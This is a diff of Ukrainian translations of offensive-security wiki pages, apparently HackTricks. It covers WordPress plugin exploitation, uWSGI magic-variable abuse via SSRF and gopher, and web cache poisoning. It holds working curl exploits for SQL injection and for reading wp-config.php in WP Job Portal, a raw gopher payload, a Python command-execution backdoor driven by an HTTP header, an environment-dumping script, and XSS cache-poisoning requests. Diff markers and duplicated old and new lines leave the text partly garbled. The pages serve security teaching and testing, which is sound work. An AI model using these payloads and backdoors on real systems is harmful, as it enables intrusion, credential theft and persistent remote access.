Загальні WAF на рівні edge/серверів налаштовані на виявлення широких шаблонів (SQLi, XSS, LFI). Багато високовпливових вразливостей WordPress/plugin — це помилки логіки/auth специфічні для застосунку, які виглядають як безпечний трафік, якщо рушій не розуміє маршрути WordPress і семантику плагінів.
Загальні edge/server WAFs налаштовані на широкі патерни (SQLi, XSS, LFI). Багато вразливостей високого впливу в WordPress/plugin — це специфічні для додатка logic/auth bugs, які виглядають як безпечний трафік, якщо движок не розуміє маршрути WordPress і семантику плагінів.
Offensive notes
- Цільтеся на кінцеві точки, специфічні для плагіна, використовуючи чисті payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Перевіряйте спочатку unauth шляхи (AJAX `nopriv`, REST з permissive `permission_callback`, public shortcodes). Default payloads часто працюють без обфускації.
- Типові високовпливові випадки: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Не покладайтеся на загальні сигнатури WAF для захисту plugin CVEs. Впроваджуйте віртуальні патчі, специфічні для вразливостей, на рівні застосунку або швидко оновлюйте.
- Віддавайте перевагу positive-security перевіркам у коді (capabilities, nonces, strict input validation) замість негативних regex-фільтрів.
- Dont rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
## WordPress Protection
### Regular Updates
Переконайтеся, що WordPress, плагіни та теми оновлені. Також підтвердіть, що автоматичне оновлення увімкнене у wp-config.php:
Переконайтесь, що WordPress, plugins, і themes оновлені до останніх версій. Також підтвердіть, що automated updating увімкнено в wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Також, **встановлюйте лише довірені плагіни та теми WordPress**.
Також, **встановлюйте лише надійні плагіни та теми WordPress**.
### Плагіни безпеки
### Security Plugins
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
@ -642,14 +642,14 @@ add_filter( 'auto_update_theme', '__return_true' );
- Видаліть стандартного користувача **admin**
- Використовуйте **надійні паролі** та **2FA**
- Періодично **переглядайте** **права** користувачів
- **Обмежте кількість спроб входу**, щоб запобігти атакам Brute Force
- Перейменуйте файл **`wp-admin.php`** та дозволяйте доступ лише внутрішньо або з певних IP-адрес.
- Періодично **переглядайте** **права доступу** користувачів
- Обмежте **кількість спроб входу**, щоб запобігти Brute Force атакам
- Перейменуйте файл **`wp-admin.php`** і дозволяйте доступ лише з внутрішньої мережі або з певних IP-адрес.
### Неавторизований SQL Injection через недостатню валідацію (WP Job Portal <= 2.3.2)
### Неаутентифікована SQL Injection через недостатню валідацію (WP Job Portal <= 2.3.2)
Плагін WP Job Portal для рекрутингу відкрив завдання **savecategory**, яке в кінцевому підсумку виконує наступний вразливий код у `modules/category/model.php::validateFormData()`:
Плагін WP Job Portal для рекрутингу відкрив задачу **savecategory**, яка врешті-решт виконує наступний вразливий код у `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -659,19 +659,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
Проблеми, введені цим фрагментом:
Проблеми, викликані цим фрагментом:
1. **Unsanitised user input** `parentid` надходить безпосередньо з HTTP-запиту.
2. **String concatenation inside the WHERE clause** відсутні `is_numeric()` / `esc_sql()` / prepared statement.
3. **Unauthenticated reachability** хоча дія виконується через `admin-post.php`, єдина перевірка — **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати зі сторінки з шорткодом `[wpjobportal_my_resumes]`.
1. **Неочищений користувацький ввід** `parentid` береться безпосередньо з HTTP-запиту.
2. **Конкатенація рядків у WHERE-клаузі** немає `is_numeric()` / `esc_sql()` / prepared statement.
3. **Доступ без аутентифікації** хоча дія виконується через `admin-post.php`, єдина перевірка — **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати зі сторінки, що вбудовує шорткод `[wpjobportal_my_resumes]`.
#### Експлуатація
1. Отримайте свіжий nonce:
1. Отримати свіжий nonce:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. Інжектуйте довільний SQL, зловживаючи `parentid`:
2. Впровадьте довільний SQL, зловживаючи `parentid`:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -679,7 +679,7 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
Відповідь розкриває результат інжектованого запиту або змінює базу даних, що підтверджує SQLi.
Відповідь видає результат ін'єкції запиту або змінює базу даних, що доводить наявність SQLi.
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
@ -690,7 +690,7 @@ $file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` контролюється зловмисником і конкатенується **без санітизації**. Знову ж таки, єдиним бар'єром є **CSRF nonce**, який можна отримати зі сторінки резюме.
`$file_name` контролюється атакуючим і конкатенується **без санітизації**. Знову ж, єдиним бар'єром є **CSRF nonce**, який можна отримати зі сторінки резюме.
#### Exploitation
```bash
@ -701,7 +701,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
Сервер повертає вміст `wp-config.php`, leaking DB credentials and auth keys.
Сервер повертає вміст файлу `wp-config.php`, внаслідок чого розкриваються DB credentials і auth keys.
## Посилання

View File

@ -0,0 +1,169 @@
# WSGI Post-Exploitation трюки
{{#include ../../banners/hacktricks-training.md}}
## Огляд WSGI
Web Server Gateway Interface (WSGI) — це специфікація, яка описує, як вебсервер взаємодіє з веб-додатками і як веб-додатки можуть бути з'єднані в ланцюжок для обробки одного запиту. uWSGI — один із найпопулярніших WSGI серверів, часто використовується для обслуговування Python веб-додатків.
## Експлуатація магічних змінних у uWSGI
uWSGI надає спеціальні «магічні змінні», які можна використовувати для динамічної конфігурації поведінки сервера. Ці змінні можна встановити через HTTP-заголовки і вони можуть призводити до серйозних вразливостей без належної валідації.
### Ключові змінні для експлуатації
#### `UWSGI_FILE` - Виконання довільного файлу
```
uwsgi_param UWSGI_FILE /path/to/python/file.py;
```
Ця змінна дозволяє завантажувати та виконувати довільні Python-файли як WSGI-додатки. Якщо зловмисник може контролювати цей параметр, він може досягти Remote Code Execution (RCE).
#### `UWSGI_SCRIPT` - Завантаження скрипту
```
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
```
Завантажує вказаний скрипт як новий додаток. У поєднанні з можливістю завантаження файлів або запису це може призвести до RCE.
#### `UWSGI_MODULE` і `UWSGI_CALLABLE` - Динамічне завантаження модулів
```
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
```
Ці параметри дозволяють завантажувати довільні Python-модулі та викликати в них конкретні функції.
#### `UWSGI_SETENV` - Маніпуляція змінними оточення
```
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
```
Може бути використано для зміни змінних середовища, що потенційно впливає на поведінку програми або завантаження шкідливої конфігурації.
#### `UWSGI_PYHOME` - Маніпуляція середовищем Python
```
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
```
Змінює віртуальне оточення Python, потенційно завантажуючи шкідливі пакети або інші інтерпретатори Python.
#### `UWSGI_CHDIR` - Траверсія директорій
```
uwsgi_param UWSGI_CHDIR /etc/;
```
Змінює робочий каталог перед обробкою запитів, що може бути використано для атак path traversal.
## SSRF + Gopher до
### Вектор атаки
Коли uWSGI доступний через SSRF (Server-Side Request Forgery), зловмисники можуть взаємодіяти з внутрішнім сокетом uWSGI, щоб експлуатувати magic variables. Це особливо небезпечно, коли:
1. Додаток має вразливості SSRF
2. uWSGI працює на внутрішньому порту/сокеті
3. Додаток неправильно перевіряє magic variables
uWSGI доступний через SSRF, тому що конфігураційний файл `uwsgi.ini` містить: `socket = 127.0.0.1:5000`, що робить його доступним з веб-застосунку через SSRF.
### Приклад експлуатації
#### Крок 1: Створіть шкідливий payload
Спочатку інжектуйте Python-код у файл, доступний серверу (запис файлу всередині сервера, розширення файлу не має значення):
```python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
```
#### Крок 2: Сформуйте запит протоколу uWSGI
Використайте протокол Gopher для надсилання необроблених uWSGI-пакетів:
```
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
```
Цей payload:
- Підключається до uWSGI на порту 5000
- Встановлює `UWSGI_FILE`, щоб вказати на шкідливий файл
- Змушує uWSGI завантажити та виконати Python-код
### Структура протоколу uWSGI
Протокол uWSGI використовує бінарний формат, де:
- Змінні кодуються як рядки з префіксом довжини
- Кожна змінна має: `[name_length][name][value_length][value]`
- Пакет починається з заголовка, що містить загальний розмір
## Post-Exploitation Techniques
### 1. Persistent Backdoors
#### File-based Backdoor
```python
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
```
Потім використайте `UWSGI_FILE`, щоб завантажити цей backdoor:
```
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
```
#### Персистентність на основі середовища
```
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
```
### 2. Витік інформації
#### Environment Variable Dumping
```python
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
```
#### Доступ до файлової системи
Використовуйте `UWSGI_CHDIR` у поєднанні з file serving для доступу до конфіденційних файлів:
```
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
```
### 3. Privilege Escalation
#### Socket Manipulation
Якщо uWSGI працює з підвищеними привілеями, зловмисники можуть змінювати права доступу до сокетів:
```
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
```
#### Перевизначення конфігурації
```python
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
```
## Посилання
- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,28 +4,28 @@
## Різниця
> **Яка різниця між web cache poisoning і web cache deception?**
> **Яка різниця між web cache poisoning та web cache deception?**
>
> - У **web cache poisoning** атакувальник змушує додаток зберегти зловмисний контент у кеші, і цей контент видається з кешу іншим користувачам додатку.
> - У **web cache deception** атакувальник змушує додаток зберегти деякий чутливий контент, що належить іншому користувачу, у кеші, а потім витягує цей контент із кешу.
> - У **web cache poisoning** зловмисник змушує застосунок зберегти в cache шкідливий контент, і цей контент подається з cache іншим користувачам застосунку.
> - У **web cache deception** зловмисник змушує застосунок зберегти в cache чутливий контент іншого користувача, а потім отримує цей контент з cache.
## Cache Poisoning
Cache poisoning спрямований на маніпулювання клієнтським кешем, щоб змусити клієнтів завантажувати ресурси, які є несподіваними, неповними або під контролем атакувальника. Обсяг впливу залежить від популярності постраждалої сторінки, оскільки підроблена відповідь видається виключно користувачам, які відвідують сторінку під час періоду зараження кешу.
Cache poisoning спрямований на маніпулювання client-side cache, щоб змусити клієнтів завантажувати ресурси, які є несподіваними, частково коректними або під контролем зловмисника. Масштаб впливу залежить від популярності ураженої сторінки, оскільки заражена відповідь віддається виключно користувачам, які відвідують сторінку під час періоду ураження cache.
Виконання атаки cache poisoning включає кілька кроків:
Проведення атаки cache poisoning включає кілька кроків:
1. **Виявлення неключових вхідних параметрів**: Це параметри, які, хоча й не є обов'язковими для кешування запиту, можуть змінювати відповідь сервера. Ідентифікація таких параметрів є критичною, оскільки їх можна використати для маніпуляції кешем.
2. **Експлуатація неключових вхідних параметрів**: Після виявлення неключових параметрів наступний крок — з'ясувати, як їх зловживати, щоб змінити відповідь сервера на користь атакувальника.
3. **Забезпечення кешування підробленої відповіді**: Останній крок — гарантувати, що змінена відповідь зберігається в кеші. Таким чином будь-який користувач, який звернеться до постраждалої сторінки під час зараження кешу, отримає підроблену відповідь.
1. **Identification of Unkeyed Inputs**: Це параметри, які, хоча й не потрібні для кешування запиту, можуть змінювати відповідь сервера. Виявлення таких параметрів критично, оскільки їх можна використати для маніпуляції cache.
2. **Exploitation of the Unkeyed Inputs**: Після ідентифікації unkeyed inputs наступним кроком є з'ясування, як зловживати цими параметрами, щоб змінити відповідь сервера на користь зловмисника.
3. **Ensuring the Poisoned Response is Cached**: Останній крок — переконатися, що модифікована відповідь зберігається в cache. Таким чином будь-який користувач, який заходить на уражену сторінку під час отруєння cache, отримає заражену відповідь.
### Виявлення: Перевірка HTTP заголовків
### Discovery: Check HTTP headers
Зазвичай, коли відповідь була **збережена в кеші**, буде **заголовок, що це вказує**; ви можете перевірити, на які заголовки варто звертати увагу в цій публікації: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Зазвичай, коли відповідь була **збережена в cache**, буде **заголовок, що це вказує**; ви можете перевірити, на які заголовки варто звертати увагу в цій публікації: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Виявлення: Кешування кодів помилок
### Discovery: Caching error codes
Якщо ви думаєте, що відповідь зберігається в кеші, можна спробувати **відправити запити з некоректним заголовком**, які мають відповідати зі **статусом 400**. Потім спробуйте отримати запит звичайним способом і якщо **відповідь має статус 400**, ви знаєте, що система вразлива (і ви навіть можете виконати DoS).
Якщо ви підозрюєте, що відповідь зберігається в cache, можна спробувати **відправити запит з некоректним заголовком**, який має відповідатися **status code 400**. Потім спробуйте звернутися до того ж ресурсу нормально, і якщо **відповідь — status code 400**, значить є вразливість (і це може дозволити навіть DoS).
Ви можете знайти більше варіантів у:
@ -33,43 +33,43 @@ Cache poisoning спрямований на маніпулювання кліє
cache-poisoning-to-dos.md
{{#endref}}
Проте зауважте, що **іноді такі коди статусу не кешуються**, тому цей тест може бути ненадійним.
Однак зауважте, що **іноді такі коди статусу не кешуються**, тому цей тест може бути ненадійним.
### Виявлення: Ідентифікація та оцінка неключових вхідних параметрів
### Discovery: Identify and evaluate unkeyed inputs
Ви можете використовувати [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) для **brute-force parameters and headers**, які можуть змінювати відповідь сторінки. Наприклад, сторінка може використовувати заголовок `X-Forwarded-For`, щоб вказати клієнту завантажити скрипт звідти:
Ви можете використати [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) для **перебору параметрів та заголовків**, які можуть **змінювати відповідь сторінки**. Наприклад, сторінка може використовувати заголовок `X-Forwarded-For`, щоб вказати клієнту завантажити скрипт звідти:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Еlicit a harmful response from the back-end server
### Викликати шкідливу відповідь від back-end сервера
Після ідентифікації параметра/заголовка перевірте, як він **санітизується** та **де** він **відображається** або впливає на відповідь від сервера. Чи можна ним зловживати (виконати XSS або завантажити JS-код, контрольований вами? здійснити DoS?...)
Після ідентифікації параметра/хедера перевірте, як його **очищують** та **де** він **відображається** або як він впливає на відповідь від хедера. Чи можна ним зловживати (виконати XSS або завантажити JS-код під вашим контролем? виконати DoS?...)
### Get the response cached
### Отримайте відповідь у кеші
Коли ви **виявили** **сторінку**, яку можна зловживати, який **параметр**/**заголовок** використовувати та **як** його **зловживати**, потрібно добитися кешування сторінки. Залежно від ресурсу, який ви намагаєтеся помістити в кеш, це може зайняти деякий час — можливо доведеться робити спроби кілька секунд.
Після того, як ви **виявили** **сторінку**, яку можна зловживати, який **параметр**/**хедер** використовувати та **як** його **зловживати**, потрібно домогтися, щоб сторінка опинилася в кеші. Залежно від ресурсу, який ви намагаєтесь помістити в кеш, це може зайняти деякий час, можливо доведеться намагатися декілька секунд.
The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\
The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`
Заголовок **`X-Cache`** у відповіді може бути дуже корисним, оскільки він може мати значення **`miss`** коли запит не був закешований і значення **`hit`** коли він закешований.\
Заголовок **`Cache-Control`** також цікавий для визначення, чи кешується ресурс і коли ресурс буде закешовано знову: `Cache-Control: public, max-age=1800`
Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.
Ще один цікавий заголовок — **`Vary`**. Цей заголовок часто використовується, щоб **вказати додаткові заголовки**, які вважаються **частиною ключа кеша**, навіть якщо зазвичай вони не враховуються. Тому, якщо нападник знає `User-Agent` жертви, на яку він націлюється, він може poison the cache для користувачів, які використовують цей конкретний `User-Agent`.
One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache.
Ще один заголовок, пов'язаний з кешем, — **`Age`**. Він визначає час у секундах, протягом якого об'єкт перебуває в proxy cache.
When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.
При кешуванні запиту будьте **обережні з заголовками, які ви використовуєте**, тому що деякі з них можуть бути **неочікувано** використані як **враховані в ключі кеша**, і **жертві доведеться використовувати той самий заголовок**. Завжди **тестуйте** Cache Poisoning з **різними браузерами**, щоб перевірити, чи це працює.
## Exploiting Examples
## Приклади експлуатації
### Easiest example
### Найпростіший приклад
A header like `X-Forwarded-For` is being reflected in the response unsanitized.\
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:
Заголовок на кшталт `X-Forwarded-For` відбивається у відповіді без очищення.\
Ви можете надіслати базовий XSS payload і poison the cache так, щоб кожен, хто заходить на сторінку, був XSSed:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Note that this will poison a request to `/en?region=uk` not to `/en`_
_Зауважте, що це отруїть запит до `/en?region=uk`, а не до `/en`_
### Cache poisoning to DoS
@ -80,23 +80,23 @@ cache-poisoning-to-dos.md
### Cache poisoning through CDNs
У **[цьому writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** пояснюється наступний простий сценарій:
In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** it's explained the following simple scenario:
- The CDN will cache anything under `/share/`
- The CDN will NOT decode nor normalize `%2F..%2F`, therfore, it can be used as **path traversal to access other sensitive locations that will be cached** like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- The web server WILL decode and normalize `%2F..%2F`, and will respond with `/api/auth/session`, which **містить auth token**.
- The CDN will NOT decode nor normalize `%2F..%2F`, therfore, it can be used as **path traversal для доступу до інших чутливих місць, які будуть кешуватися** like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- The web server WILL decode and normalize `%2F..%2F`, and will respond with `/api/auth/session`, which **contains the auth token**.
### Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies також можуть відображатися у відповіді сторінки. Якщо ви зможете зловживати цим, щоб спричинити XSS, наприклад, ви зможете експлуатувати XSS у кількох клієнтах, які завантажують шкідливу кешовану відповідь.
Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response.
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
Зверніть увагу, що якщо вразливий cookie часто використовується користувачами, звичайні запити будуть очищувати cache.
### Створення невідповідностей за допомогою роздільників, нормалізації та крапок <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Генерація розбіжностей за допомогою роздільників, нормалізації та крапок <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Перевірте:
@ -105,9 +105,9 @@ Note that if the vulnerable cookie is very used by the users, regular requests w
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Cache poisoning з використанням path traversal для викрадення API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Цей розбір пояснює**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) як було можливо вкрасти OpenAI API key з URL на кшталт `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, тому що все, що відповідає `/share/*`, кешується без нормалізації URL зі сторони Cloudflare, яка виконувалась, коли запит доходив до веб-сервера.
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
Це також краще пояснено в:
@ -116,18 +116,18 @@ cache-poisoning-via-url-discrepancies.md
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Використання декількох заголовків для exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Іноді потрібно **експлуатувати кілька неключових входів**, щоб мати змогу зловживати кешем. Наприклад, ви можете знайти **Open redirect**, якщо встановите `X-Forwarded-Host` на домен під вашим контролем і `X-Forwarded-Scheme` на `http`. Якщо **сервер** перенаправляє всі **HTTP** запити **на HTTPS** і використовує заголовок `X-Forwarded-Scheme` як домен для редіректу, ви можете контролювати, куди веде сторінка через редірект.
Іноді вам доведеться **exploit several unkeyed inputs**, щоб мати змогу зловживати cache. Наприклад, ви можете знайти **Open redirect**, якщо встановите `X-Forwarded-Host` на домен, яким ви керуєте, і `X-Forwarded-Scheme` на `http`. **If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect, ви зможете контролювати, куди спрямовує сторінка редирект.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Експлуатація при обмеженому `Vary`header
### Використання при обмеженому `Vary`заголовку
Якщо ви виявили, що заголовок **`X-Host`** використовується як **domain name to load a JS resource**, але заголовок **`Vary`** у відповіді вказує **`User-Agent`**, то потрібно знайти спосіб exfiltrate `User-Agent` жертви та poison the cache, використовуючи цей `User-Agent`:
Якщо ви виявили, що **`X-Host`** заголовок використовується як **доменне ім'я для завантаження JS ресурсу**, але в відповіді заголовок **`Vary`** вказує **`User-Agent`**, тоді потрібно знайти спосіб exfiltrate User-Agent жертви і отруїти кеш, використовуючи цей user agent:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -136,7 +136,7 @@ X-Host: attacker.com
```
### Fat Get
Надішліть GET request, де запит міститься як у URL, так і в body. Якщо web server використовує значення з body, але cache server кешує значення з URL, то будь-хто, хто звернеться до цього URL, фактично використовуватиме parameter з body. Як-от vuln, який виявив James Kettle на Github website:
Надішліть GET-запит з тим самим параметром у URL і в body. Якщо web server використовує значення з body, але cache server кешує значення з URL, будь-хто, хто звертається до цього URL, фактично використовуватиме параметр із body. Як vuln, який знайшов James Kettle на сайті Github:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -145,58 +145,58 @@ Content-Length: 22
report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
There is a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Parameter Cloacking
Наприклад, у ruby-серверах можна відокремлювати **parameters** символом **`;`** замість **`&`**. Це може бути використано, щоб помістити значення незаключених параметрів всередині ключових і зловживати цим.
For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Дізнайтеся, як виконувати [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
Тут можна дізнатися, як виконувати [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Automated testing for Web Cache Poisoning
The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. Він підтримує багато різних технік і є високонастроюваним.
Інструмент [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) можна використовувати для автоматичного тестування на web cache poisoning. Він підтримує багато різних технік і добре налаштовується.
Приклад використання: `wcvs -u example.com`
Example usage: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Цей реальний патерн поєднує примітив віддзеркалення заголовка з поведінкою CDN/WAF, щоб надійно отруїти кешований HTML, який віддається іншим користувачам:
Цей реальний шаблон поєднує примітив header-based reflection із поведінкою CDN/WAF, щоб надійно отруїти кешований HTML, який потім подається іншим користувачам:
- Головний HTML віддзеркалював недовірений заголовок запиту (наприклад, `User-Agent`) у виконуваний контекст.
- CDN видаляв cache headers, але існував внутрішній/origin cache. CDN також авто-кешував запити, що закінчуються статичними розширеннями (наприклад, `.js`), тоді як WAF застосовував слабшу інспекцію контенту до GET запитів для статичних ресурсів.
- Особливості потоку запитів дозволяли запиту до шляху `.js` впливати на cache key/variant, що використовувався для наступного головного HTML, дозволяючи міжкористувацький XSS через віддзеркалення заголовка.
- The main HTML reflected an untrusted request header (e.g., `User-Agent`) into executable context.
- The CDN stripped cache headers but an internal/origin cache existed. The CDN also auto-cached requests ending in static extensions (e.g., `.js`), while the WAF applied weaker content inspection to GETs for static assets.
- Request flow quirks allowed a request to a `.js` path to influence the cache key/variant used for the subsequent main HTML, enabling cross-user XSS via header reflection.
Практичний рецепт (спостерігався в популярному CDN/WAF):
1) З чистої IP-адреси (уникати попередніх знижень за репутацією) встановіть зловмисний `User-Agent` через браузер або Burp Proxy Match & Replace.
2) У Burp Repeater підготуйте групу з двох запитів і використайте "Send group in parallel" (single-packet mode працює найкраще):
- Перший запит: GET до ресурсу `.js` на тому ж origin, надсилаючи ваш зловмисний `User-Agent`.
- Одразу після: GET головну сторінку (`/`).
